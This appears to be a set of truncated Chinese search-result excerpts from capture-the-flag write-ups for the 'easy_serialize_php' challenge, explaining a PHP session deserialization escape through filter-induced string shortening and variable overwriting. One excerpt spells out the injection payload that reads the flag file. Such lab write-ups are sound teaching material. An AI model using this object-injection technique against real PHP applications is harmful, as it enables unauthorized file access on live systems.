BUUCTF[安洵杯 2019]easy_serialize_php 1 考点: 反序列化逃逸 进入靶场 代码审计 <?php$function= @$_GET['f'];functionfilter($img){$filter_arr=array('php','flag','php5','php4','fl1g');$filter= '/'.implode('|',$filter_arr).'/i';returnpreg_replace($filter,'',$img); }#filter...
由此可得session值可以控制,(比如后面要控制的 $_SESSION["img"]="payload" ) 三、由下图可得: 序列化 $_SESSION =》filter过滤函数 =》反序列化 =》base64解密文件名(例子:$username['img']="base64加密后的d0g3_f1ag.php") 综上所述:需要先对 d0g3_f1ag.php 加密,然后赋值给 $_SESSION['img']...
https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php 一眼反序列化,首先是源码解析: 这里分一下类方便快速理解: 应该是flag.php这里我自己找到了没截图所以搜索的auto,我看其他大佬wp里面直接搜索的auto,没去深究,有其深意大伙可以评论区教教,第二点:我们想要得到flag肯...
由此可以推测出,payload:_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:6:"hacker";s:4:"hack";} 4个flag加上1个php,共23位被过滤,结果就是";s:8:"function";s:59:"被当做了user的值,而构造出来的";s:3:"img";s:20:"ZDBnM19mM...
<?php $_SESSION["user"]='*';$_SESSION['function']='**';$_SESSION['img']=base64_encode('guest_img.png');echoserialize($_SESSION);//a:3:{s:4:"user";s:1:"*";s:8:"function";s:2:"**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} ...
BUU [安洵杯 2019]easy_serialize_php 源码如下 <?php$function = @$_GET['f'];function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');$filter = '/'.implode('|',$filter_arr).'/i';return preg_replace($filter,'',$img);}//把过滤的这些字符串替换为空if(...
easy_serialize_php 考点 变量覆盖 预包含 反序列化中的对象逃逸 题解 首先打开网页界面,看到source_code,点击就可以直接看到源码。 从上往下阅读代码,很明显的可以发现一个变量覆盖。至于这个覆盖怎么用,暂时还不知道,这是第一个考点。 往下看,可以看到我们可以令function为phpinfo来查看phpinfo,此时就可以看到我的...
<?phpclassName{private$username= 'nonono';private$password= 'yesyes';publicfunction__construct($username,$password){$this->username =$username;$this->password =$password; } }$a=newName('admin', 100);var_dump(serialize($a));?> 1. ...
2.虽然使用的是php处理器,但按上面所讲显然不存在解析器差异带来的对象注入问题; 3.过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字 4.正常传img参数进去会被sha1加密,我认为这里应该不存在有一个字符串,它sha1加密后的结果能与dog_flag.php这种名字碰撞,故我们应该用别的方法控制$_SESSION中...
0x2 Web1 easy php题目现在还没有关,链接:easy php进去得到是源代码:<?php highlight_file(__FILE__); echo ""; error_reporting(0); if($_REQUEST) { foreach($_REQUEST as $key=>$value) { if(preg_match('/[a-zA-Z]/i', $value)) die('go away'); } } if($_SERVER) { if (pre...